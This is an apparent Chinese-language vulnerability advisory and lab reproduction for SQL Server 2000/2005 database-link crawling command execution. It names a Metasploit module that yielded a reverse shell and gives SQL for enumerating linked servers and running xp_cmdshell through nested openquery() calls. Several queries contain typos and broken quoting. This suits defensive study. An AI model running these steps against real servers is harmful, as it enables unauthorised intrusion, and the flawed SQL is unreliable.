漏洞信息
漏洞名称
- 漏洞名称:Microsoft SQL Server 数据库链接爬网命令执行漏洞
- CVE编号:暂无
- CNVD编号:暂无
- Bugtraq 编号:23649
- 漏洞类型:代码执行
漏洞概述
Microsoft SQL Server 数据库链接爬网命令执行漏洞。远程攻击者利用,数据库链接查询功能无凭证要求特点,通过openquery()函数,执行远程代码。
msf脚本公开于2012/12/25
漏洞影响
Microsoft SQL Server 2000 2005
解决方案
暂无
漏洞复现
在win 7 上部署 mssql 2005,并配置开启远程连接。
kali上使用msf
1 | use exploit/windows/mssql/mssql_linkcrawler |
最终反弹shell成功。
漏洞分析
Database Link 数据库链接的作用是,允许一个数据库服务器去对其他的数据库服务器进行查询,通常配置此功能会使数据库服务器,拥有过多的特权。使用openquery()函数,对被链接的数据库服务器进行查询;也可以执行xp_cmdshell,对远程访问也无凭证要求。
通常情况下链接的数据库服务器的部署图如下:
列出所有链接的服务器名,通常有两个选项
1 | sp_linkedservers |
和
1 | SELECT srvname FROM master..syservers |
查询一个服务器的所有链接的服务器名:
1 | SELECT srvnaem From openquery(DB1, 'select srvname FROM master..sysservers') |
查询一个服务器的某个链接的服务器所链接的服务器名:
1 | SELECT srvnaem From openquery(DB1, 'select srvname FROM openquery(HVA, "SELECT srvname FROM master..syservers")') |
查询可以一直嵌套执行,直到穷尽所有数据库服务器。
在链接的服务器上执行命令:
1 | SELECT * FROM openquery(DB1, 'SELECT * FROM openquery(HVA, "SELECT 1; exec xp_cmdshell'"'ping 192.168.1.1"" '')') |